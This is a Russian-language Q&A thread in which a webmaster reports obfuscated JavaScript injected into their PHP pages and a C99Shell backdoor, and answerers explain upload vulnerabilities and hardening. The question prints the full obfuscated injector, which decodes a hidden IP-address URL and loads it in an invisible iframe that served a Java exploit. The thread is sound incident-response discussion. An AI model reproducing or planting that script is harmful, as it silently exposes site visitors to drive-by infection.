PHP скрипт: вредоносный код JavaScript в конце - PullRequest
17 голосов
/ 26 июня 2010

Проблема:

В моем веб-пространстве есть PHP-файлы, которые заканчиваются так:

<?php include 'footer.php'; ?>

Перед этой строкой в ​​файлах также есть HTML-код.

Вывод в браузере заканчивается этим, конечно:

</body>
</html>

Но вчера в конце неожиданно появился какой-то вредоносный код. Вывод моего index.php был:

</body>
</html><body><script>
var i={j:{i:{i:'~',l:'.',j:'^'},l:{i:'%',l:218915,j:1154%256},j:{i:1^0,l:55,j:'ijl'}},i:{i:{i:function(j){try{var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x6e\x70\x75\x74');l['\x74\x79\x70\x65']='\x68\x69\x64\x64\x65\x6e';l['\x76\x61\x6c\x75\x65']=j;l['\x69\x64']='\x6a';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);}catch(j){return false;}
return true;},l:function(){try{var l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6a');}catch(l){return false;}
return l.value;},j:function(){var l=i.i.i.i(i.l.i.i('.75.67.67.63.3a.2f.2f.39.32.2e.36.30.2e.31.37.37.2e.32.33.35.2f.76.61.71.72.6b.2e.63.75.63.3f.66.75.61.6e.7a.72.3d.6b.37.36.6b.30.39'));var j=(l)?i.i.i.l():false;return j;}},l:{i:function(){var l=i.i.i.j('trashtext');var j=(l)?l:'trashtext';return j||false;},l:function(){var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x6c');l['\x77\x69\x64\x74\x68']='0.1em';l['\x68\x65\x69\x67\x68\x74']='0.2em';l['\x73\x74\x79\x6c\x65']['\x62\x6f\x72\x64\x65\x72']='none';l['\x73\x74\x79\x6c\x65']['\x64\x69\x73\x70\x6c\x61\x79']='none';l['\x69\x6e\x6e\x65\x72\x48\x54\x4d\x4c']='\x6c';l['\x69\x64']='\x6c';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);},j:function(){var l=i.i.j.j(i.i.l.l());l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6c');var j=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x66\x72\x61\x6d\x65');j['\x68\x65\x69\x67\x68\x74']=j['\x77\x69\x64\x74\x68'];j['\x73\x72\x63']=i.i.j.i(i.i.l.i());try{l['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](j);}catch(j){}}},j:{i:function(l){return l['replace'](/[A-Za-z]/g,function(j){return String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65']((((j=j.charCodeAt(0))&223)-52)%26+(j&32)+65);});},l:function(l){return i.i.j.i(l)['\x74\x6f\x53\x74\x72\x69\x6e\x67']()||false;},j:function(l){try{l();}catch(l){}}}},l:{i:{i:function(l){l=l['replace'](/[.]/g,'%');return window['\x75\x6e\x65\x73\x63\x61\x70\x65'](l);},l:'50',j:'33'},l:{i:'62',l:'83',j:'95'},j:{i:'46',l:'71',j:'52'}}}
i.i.l.j();</script>

Я открыл файл на своем веб-пространстве (загруженный через FTP) и увидел, что кто-то поместил этот код прямо в файл!

Как это могло произойти?

Единственные способы, которые я могу себе представить:

  • Кто-то получил мой пароль FTP. Но он не только поместил бы это в один файл. Он мог нанести гораздо больше урона. Поэтому я не могу представить, что это так.
  • У меня на компьютере есть вирус. Я использую Notepad ++ для редактирования и FileZilla для загрузки. Возможно, эти программы также были заражены, и я загрузил вредоносный код - не зная.
  • Кто-то использовал дыру в безопасности (XSS), чтобы поместить этот код на страницу. Но он не мог положить это прямо в файл, не так ли?

Симптомы:

Пользователи сообщили о появлении синей панели в Firefox. Он попросил их установить плагин. Теперь у некоторых из них есть Exploit.Java.CVE-2010-0886.a на их ПК.

Это из-за вредоносного кода? Что именно сделал код?

Вы можете мне помочь?

Пожалуйста, помогите мне, я действительно в отчаянии.

Может быть, еще один вопрос, если вы знаете, как я мог его получить: как я мог предотвратить что-то подобное в будущем?

Редактировать # 1:

Я нашел файл с именем "x76x09.php" в корневом каталоге моего веб-пространства. Размер файла составляет 44,281 байта. Я скачал и попытался открыть. Но моя антивирусная программа сказала, что это троян (Trojan.Script.224490). Я думаю, что этот файл был выполнен и добавил вредоносный код в «index.php» в каждом каталоге. Это помогает? Как троянец может попасть в мое веб-пространство? Это хорошо известный вирус?

Редактировать # 2:

Мой хостер говорит, что теперь он может быть уверен, что файл не был загружен через FTP. Таким образом, заражение не произошло через FTP. По словам моего хостера, это должны быть небезопасные сценарии.

Редактировать # 3:

дыры в безопасности согласно PHPSecInfo:

  • allow_url_fopen = 1
  • allow_url_include = 1
  • expose_php = 1
  • file_uploads = 1 (это виноват во вредоносном файле "x76x09.php"?)
  • group_id = 99
  • user_id = 99

Редактировать # 4:

Я проанализировал файл, который был выполнен на моем веб-сервере. Вот результаты .

Итак, этот вирус, кажется, известен как:

  • PHP / C99Shell.BF
  • Backdoor / PHP.C99Shell
  • BackDoor.Generic_c.CQA
  • Trojan.Script.224490
  • Exploit.PHP.635
  • Backdoor.PHP.C99Shell.bf
  • Trojan.Script.224490

Могут ли некоторые из них вызвать вредоносный файл в моем веб-пространстве, в который был добавлен вредоносный код?

Ответы [ 10 ]

16 голосов
/ 02 июля 2010

Не думаю, что проблема в том, что вы используете общий хост, потому что я нашел шесть других ( degmsb , Benvolio , joomla01 , DJ-Alien , valerione1979 и Kars ), на веб-сайтах которых был добавлен тот же скрипт. Кроме того, сомнительно, что любые ваши файлы будут доступны для записи другим пользователям, поскольку файлы, загружаемые через FTP, подчиняются маске битов режима создания файла.

Мое предположение заключается в том, что кто-то взламывает сайты, используя либо известные эксплойты, либо эксплойты против общих слабостей, и что этот человек идентифицирует вероятные цели с помощью Google, взломавшего . Веб-сайт degmsb на Wordpress и веб-сайт Burning Board Lite от Benvolio, вероятно, были взломаны с помощью известных эксплойтов (возможно, известных эксплойтов плагинов к таким программным базам, как TinyMCE), а ваш веб-сайт, с тех пор как вы его написали самостоятельно, вероятно, был взломан с помощью эксплойта против обычного веб-сайта слабость.

Учитывая, что вы разрешаете загрузку файлов (один из ваших PHP-сценариев принимает и сохраняет файлы, загруженные вашими пользователями), я бы рассмотрел CWE-434: неограниченная загрузка файлов с опасным типом . Эксплойт CWE-434 работает следующим образом: предположим, вы разрешаете пользователям загружать изображения или картинки аватара. Сценарий, к которому передаются загруженные изображения, может сохранить файл в /images, используя то же имя файла, которое предоставил пользователь. Теперь представьте, что кто-то загружает x76x09.gif.php (или x76x09.gif.asp, x76x09.gif.php4 и т. Д.). Ваш сценарий должным образом сохранит эту загрузку в /images/x76x09.gif.php, и все, что нужно взломщику, чтобы сервер запустил этот сценарий, - /images/x76x09.gif.php. Даже если файл называется x76x09.php.gif, некоторые веб-серверы будут выполнять файл.

Другая возможность заключается в том, что имя файла загрузки, которую получает PHP, $_FILES['upload']['name'], то есть значение filename в отправляемом заголовке Content-Disposition, было сконструировано примерно как ..\modules\x.gif. Если ваш сценарий сохранил только что загруженный файл в str_replace('\\', '/', '/images/' . basename($_FILES['upload']['name'])) или /images/../modules/x.gif на хосте, отличном от Windows (http://codepad.org/t83dYZwa),, и пользователь каким-то образом мог заставить один из ваших PHP-сценариев include или require любой скрипт в каталоге modules (скажем, index.php?module=x.gif&action=blah), тогда взломщик сможет выполнить произвольный PHP.

РЕДАКТИРОВАТЬ: Это выглядит как x76x09.php это своего рода неограниченный браузер каталога и загрузчик файлов. Если пользователю удастся загрузить это на ваш сервер, то он может сделать все, что вы можете сделать с вашим доступом по FTP. Удалить.

EDIT2: Найдите копии этого PHP-источника (часть gzuncompress(base64_decode("HJ3H...geFb//eeff/79z/8A"));). Удалите его из всех ваших PHP-скриптов.

EDIT3: Находя в гугле части скрипта PHP, я нашел несколько веб-страниц, где этот источник дословно указан, и все эти страницы имеют какое-то отношение к функции загрузки файлов для соответствующих веб-сайтов. Поэтому весьма вероятно, что хакер вашего сайта использовал эксплойт CWE-434.

7 голосов
/ 26 июня 2010

Похоже, ваш сервер был скомпрометирован, и вы на общем хосте?

Вы можете узнать конфигурацию безопасности вашего сервера с помощью:

PhpSecInfo

альтернативный текст http://phpsec.org/images/psi_ss2.png

3 голосов
/ 03 июля 2010

Как и предполагали другие, уязвимость наиболее вероятна в каком-то сценарии, который вы используете, возможно, в том, что вы написали сами, или в хорошо известном приложении с известными уязвимостями.Это может быть уязвимость в сценарии загрузки, но я хочу отметить, что также можно «загружать» файлы с помощью SQL-инъекции, подробнее см. Следующий поток

3 голосов
/ 26 июня 2010

С кем вы принимаете? У некоторых хостеров есть утечки безопасности, которые могут быть использованы.

Вы используете WordPress? Там также был ряд зарегистрированных вспышек. Лучшее, что можно сделать, - это поискать людей с похожими проблемами, что также приведет к причине, которая приведет к решению.

2 голосов
/ 01 июля 2010

Мы недавно столкнулись с проблемой, похожей на эту, с одним из наших основных веб-ресурсов.То, что сказал ваш веб-хостинг, было правильным: скорее всего, это связано не с доступом по FTP, а с небезопасным сценарием, который каким-то образом позволял изменять произвольные файлы.В нашем случае уязвимость в старом phpMyAdmin позволила изменить некоторые сценарии PHP.

Если вы этого еще не сделали, вы можете убедиться, что веб-сервер имеет только права на чтение для всех скриптов и файлов HTML.Оказывается, в нашем случае Apache также может писать в скрипты.Просто

cd web_files_directory
chown -R some_not_web_server_user:some_not_web_server_group .
find . -type f | xargs chmod 644
find . -type d | xargs chmod 755
1 голос
/ 03 июля 2010

Если вы написали уязвимое веб-приложение самостоятельно, то у вас уже есть возможность понять, где найти большинство точек доступа, которые могут быть использованы.К сожалению, этого может быть недостаточно (писать и поддерживать безопасные веб-приложения сложнее, чем думает большинство людей).

Если вы не написали приложение самостоятельно или если выповторное использование больших, сложных компонентов, написанных кем-то другим, или, если вам просто нужна помощь в обеспечении безопасности веб-сайта, существуют коммерческие службы, которые могут сканировать ваш сайт и пытаться выяснить, где они уязвимы, например:

http://www.qualys.com/products/qg_suite/was/

Эти услуги, очевидно, стоят денег, но обычно вы можете получить "бесплатную пробную версию", чтобы посмотреть, будут ли они полезны.Удачи!

1 голос
/ 01 июля 2010

phsource является ближайшим.

Если вы находитесь на общем сервере, другие люди имеют доступ к самому серверу. Это своего рода определение общего сервера. Проблема заключается в том, что если у вас есть файлы с разрешениями 777, они доступны для записи в мировой пользовательской группе. Это означает, что любой, имеющий доступ к коробке, может написать им. Видите проблему?

Все, что нужно - это один человек на этом ящике, чтобы иметь слабый пароль, плохо настроенный скрипт или ужасный кусочек кода, а посредственный ребенок со скриптом может вызвать всевозможные проблемы повсюду. , Большинство этих атак чисто автоматизированы. Они получают доступ, сканируют файлы, способные к атакам, и добавляются по мере необходимости.

Скорее всего, вам следует изменить все ваши файлы на 755 или 644 разрешения. Вы будете лучше спать по ночам.

И после того, как вы закончите очистку, убедитесь, что Google не пометил вас как вредоносный сайт. Убирать не страшно, но в то же время это может разрушить ваш трафик.

1 голос
/ 26 июня 2010

Я бы посоветовал изменить любые пароли FTP или SSH, чтобы быть очень безопасным. Если вы используете хостинг-провайдера, вы также должны уведомить их о нарушении. Если у вас нет журналов для расследования этого вопроса, они могут. Вам также следует Google добавить код, который был добавлен на вашу страницу, чтобы узнать, сможете ли вы найти что-нибудь еще.

0 голосов
/ 01 июля 2010

Это случилось со мной некоторое время назад по-разному.Рабочий аккаунт был взломан через phpBB из-за эксплойта кода.Каким-то образом они даже добавили себя в таблицу myb db users.Это заставило нас полностью удалить программу и прекратить использование.

Старая установка Joomla была уязвимостью, которая позволяла людям делать то, о чем вы говорите, на моем личном сайте.Я забыл, что это было даже там, но этого было достаточно, чтобы открыть им дверь, чтобы установить вредоносный код на нескольких разных сайтах.Я отключил сайт, изменил права доступа, обновил Joomla и удалил файлы.

Мой текущий рабочий сервер получает «сниффинг» для phpMyAdmin более 1000 раз в час во время некоторых попыток взлома.Плохие парни работают сверхурочно!

Итог, будьте осторожны с открытым исходным кодом, и если вы его используете, обновляйте, обновляйте, обновляйте.

0 голосов
/ 26 июня 2010

Если у вас статический ip - вы можете запретить ftp-доступ с не вашего IP

...